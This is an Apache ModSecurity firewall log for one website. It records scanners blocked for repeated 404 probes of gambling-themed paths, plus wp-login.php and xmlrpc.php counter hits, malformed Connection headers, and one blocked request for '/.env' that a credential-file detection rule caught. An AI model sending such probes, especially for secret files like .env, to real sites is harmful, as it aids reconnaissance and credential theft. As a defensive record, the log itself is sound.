[Mon May 18 08:31:46.816139 2026] [:error] [pid 63115:tid 63122] [client 135.181.213.219:4046] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "agpd8uz_ApFcYdejvGcEaQAAAQU"]
[Mon May 18 08:31:48.825956 2026] [:error] [pid 48687:tid 48741] [client 135.181.213.219:4058] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "agpd9DcdaF2jmdvMWAoePgAAAdg"]
[Mon May 18 08:31:50.832289 2026] [:error] [pid 20884:tid 20908] [client 135.181.213.219:9790] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "agpd9nv9K_lRldrJG3POMwAAANY"]
[Mon May 18 08:31:52.665974 2026] [:error] [pid 20778:tid 20823] [client 135.181.213.219:9794] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "agpd-Gb9K2_TPGoCpAoPfwAAAEU"]
[Mon May 18 08:31:54.667714 2026] [:error] [pid 48651:tid 48670] [client 135.181.213.219:9810] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "agpd-q_W2tqF-okAY0X5-QAAAVE"]
[Mon May 18 08:31:56.663649 2026] [:error] [pid 20778:tid 20834] [client 135.181.213.219:9820] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "agpd_Gb9K2_TPGoCpAoPjAAAAFA"]
[Mon May 18 08:31:58.650803 2026] [:error] [pid 48687:tid 48728] [client 135.181.213.219:9830] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "agpd_jcdaF2jmdvMWAoeRQAAAcs"]
[Mon May 18 08:32:00.737040 2026] [:error] [pid 63115:tid 63120] [client 135.181.213.219:13444] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "agpeAOz_ApFcYdejvGcEbAAAAQM"]
[Mon May 18 08:32:02.731176 2026] [:error] [pid 20779:tid 20864] [client 135.181.213.219:13456] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "agpeAiF3Tl5ZGU-QyEDnwAAAAJI"]
[Mon May 18 08:32:04.573902 2026] [:error] [pid 20777:tid 20787] [client 135.181.213.219:13460] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "agpeBIHClf0EYFQBeRFQFQAAAAE"]
[Mon May 18 08:32:06.566541 2026] [:error] [pid 48651:tid 48657] [client 135.181.213.219:13476] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "agpeBq_W2tqF-okAY0X5_wAAAUQ"]
[Mon May 18 08:32:08.565810 2026] [:error] [pid 20777:tid 20807] [client 135.181.213.219:13486] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "agpeCIHClf0EYFQBeRFQFwAAABU"]
[Mon May 18 08:32:10.588984 2026] [:error] [pid 48651:tid 48659] [client 135.181.213.219:42474] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agpeCq_W2tqF-okAY0X6BQAAAUY"]
[Mon May 18 08:32:12.583990 2026] [:error] [pid 20884:tid 20889] [client 135.181.213.219:42478] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agpeDHv9K_lRldrJG3POSAAAAMM"]
[Mon May 18 08:32:14.581875 2026] [:error] [pid 48651:tid 48667] [client 135.181.213.219:42490] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "agpeDq_W2tqF-okAY0X6CgAAAU4"]
[Mon May 18 08:32:16.608721 2026] [:error] [pid 20777:tid 20802] [client 135.181.213.219:42500] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "agpeEIHClf0EYFQBeRFQGQAAABA"]
[Mon May 18 08:32:18.649915 2026] [:error] [pid 48686:tid 48696] [client 135.181.213.219:42508] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "agpeEsTu4V1xzKWde-TF1QAAAYY"]
[Mon May 18 08:32:20.649170 2026] [:error] [pid 20778:tid 20833] [client 135.181.213.219:63388] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "agpeFGb9K2_TPGoCpAoPygAAAE8"]
[Mon May 18 08:32:22.584719 2026] [:error] [pid 48686:tid 48697] [client 135.181.213.219:63402] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "agpeFsTu4V1xzKWde-TF2QAAAYc"]
[Mon May 18 08:32:24.500777 2026] [:error] [pid 48651:tid 48671] [client 135.181.213.219:63406] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "agpeGK_W2tqF-okAY0X6DQAAAVI"]
[Mon May 18 08:32:26.527280 2026] [:error] [pid 20778:tid 20838] [client 135.181.213.219:63412] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "agpeGmb9K2_TPGoCpAoP1AAAAFQ"]
[Mon May 18 08:32:28.522754 2026] [:error] [pid 20777:tid 20803] [client 135.181.213.219:63416] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "agpeHIHClf0EYFQBeRFQGwAAABE"]
[Mon May 18 09:17:52.419735 2026] [:error] [pid 36492:tid 36527] [client 209.133.215.178:37906] [client 209.133.215.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.133.215.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agpowGCVlogrkn9m2w5bWwAAAAU"]
[Mon May 18 09:17:54.225148 2026] [:error] [pid 36492:tid 36533] [client 209.133.215.178:37906] [client 209.133.215.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.133.215.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agpowmCVlogrkn9m2w5bXAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Mon May 18 09:57:36.542554 2026] [:error] [pid 36579:tid 36598] [client 43.165.7.135:33336] [client 43.165.7.135] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agpyEF-aoZxBfgL5vDwoMAAAAFA"]
[Mon May 18 11:33:05.424127 2026] [:error] [pid 44046:tid 44062] [client 194.62.107.95:51883] [client 194.62.107.95] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "agqIcYYF4k2jfXJBXk3VMQAAAY4"]
[Mon May 18 13:21:14.238547 2026] [:error] [pid 44010:tid 44015] [client 101.33.55.204:47172] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "agqhyjcFUuogD3-74-ZhPwAAAMM"]
[Mon May 18 14:14:43.677683 2026] [:error] [pid 44087:tid 44090] [client 43.157.179.227:58076] [client 43.157.179.227] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agquU25HPHbH9GK7l6zZYwAAAcE"]
[Mon May 18 18:14:02.083531 2026] [:error] [pid 36493:tid 36564] [client 43.155.129.131:39794] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agrmagynkzQB5nM668q9OQAAAQ8"]
[Mon May 18 19:45:43.932510 2026] [:error] [pid 36579:tid 36594] [client 182.11.153.198:28911] [client 182.11.153.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.11.153.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agr751-aoZxBfgL5vDyNpAAAAEw"]
[Mon May 18 19:45:54.559443 2026] [:error] [pid 43916:tid 43928] [client 182.11.153.198:4254] [client 182.11.153.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.11.153.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agr78tQC236p33zJJvnLRAAAAIQ"]
[Mon May 18 19:46:05.266931 2026] [:error] [pid 36492:tid 36533] [client 182.11.153.198:10190] [client 182.11.153.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.11.153.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agr7_WCVlogrkn9m2w7hoQAAAAs"]
[Mon May 18 19:46:16.019475 2026] [:error] [pid 36492:tid 36523] [client 182.11.153.198:16337] [client 182.11.153.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.11.153.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agr8CGCVlogrkn9m2w7hrgAAAAE"]
[Mon May 18 19:46:26.767284 2026] [:error] [pid 36492:tid 36527] [client 182.11.153.198:22142] [client 182.11.153.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.11.153.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "agr8EmCVlogrkn9m2w7htQAAAAU"]
[Mon May 18 22:03:38.951963 2026] [:error] [pid 44046:tid 44062] [client 43.157.98.187:60582] [client 43.157.98.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "agscOoYF4k2jfXJBXk0CSwAAAY4"]
[Mon May 18 22:42:14.417837 2026] [:error] [pid 44087:tid 44101] [client 95.217.109.26:62226] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agslRm5HPHbH9GK7l6z_jAAAAcw"]
[Mon May 18 22:42:16.430093 2026] [:error] [pid 36492:tid 36544] [client 95.217.109.26:60790] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agslSGCVlogrkn9m2w4B4wAAABY"]
[Mon May 18 22:42:18.509738 2026] [:error] [pid 36579:tid 36584] [client 95.217.109.26:60796] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "agslSl-aoZxBfgL5vDyexAAAAEI"]
[Mon May 18 22:42:20.510895 2026] [:error] [pid 36579:tid 36606] [client 95.217.109.26:60800] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "agslTF-aoZxBfgL5vDyexQAAAFg"]
[Mon May 18 22:42:22.422303 2026] [:error] [pid 44010:tid 44023] [client 95.217.109.26:60804] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "agslTjcFUuogD3-74-aBJgAAAMs"]
[Mon May 18 22:42:24.473747 2026] [:error] [pid 36491:tid 36519] [client 95.217.109.26:60812] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "agslUE555B9CZb6D60ngWgAAAVg"]
[Mon May 18 22:42:26.413942 2026] [:error] [pid 44010:tid 44014] [client 95.217.109.26:59238] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "agslUjcFUuogD3-74-aBJwAAAMI"]
[Mon May 18 22:42:28.343093 2026] [:error] [pid 36579:tid 36592] [client 95.217.109.26:59246] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agslVF-aoZxBfgL5vDyeyQAAAEo"]
[Mon May 18 22:42:30.438045 2026] [:error] [pid 36579:tid 36586] [client 95.217.109.26:59248] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agslVl-aoZxBfgL5vDyezAAAAEQ"]
[Mon May 18 22:42:32.521633 2026] [:error] [pid 36491:tid 36497] [client 95.217.109.26:59260] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agslWE555B9CZb6D60ngYAAAAUI"]
[Mon May 18 22:42:34.493500 2026] [:error] [pid 44087:tid 44103] [client 95.217.109.26:59276] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agslWm5HPHbH9GK7l6z_kQAAAc4"]
[Mon May 18 22:42:36.650096 2026] [:error] [pid 36491:tid 36501] [client 95.217.109.26:6616] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agslXE555B9CZb6D60ngZAAAAUY"]
[Mon May 18 22:42:38.749372 2026] [:error] [pid 36493:tid 36560] [client 95.217.109.26:6620] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agslXgynkzQB5nM668rSYQAAAQs"]
[Mon May 18 22:42:40.629521 2026] [:error] [pid 44087:tid 44108] [client 95.217.109.26:6624] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agslYG5HPHbH9GK7l6z_kgAAAdM"]
[Mon May 18 22:42:42.676230 2026] [:error] [pid 44087:tid 44095] [client 95.217.109.26:6640] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agslYm5HPHbH9GK7l6z_lQAAAcY"]
[Mon May 18 22:42:44.685306 2026] [:error] [pid 36493:tid 36566] [client 95.217.109.26:6644] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "agslZAynkzQB5nM668rSYwAAARE"]
[Mon May 18 22:42:46.838194 2026] [:error] [pid 36491:tid 36504] [client 95.217.109.26:35034] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "agslZk555B9CZb6D60ngaAAAAUk"]
[Mon May 18 22:42:48.914358 2026] [:error] [pid 36491:tid 36498] [client 95.217.109.26:35042] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "agslaE555B9CZb6D60ngagAAAUM"]
[Mon May 18 22:42:50.966941 2026] [:error] [pid 44010:tid 44022] [client 95.217.109.26:35058] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "agslajcFUuogD3-74-aBLgAAAMo"]
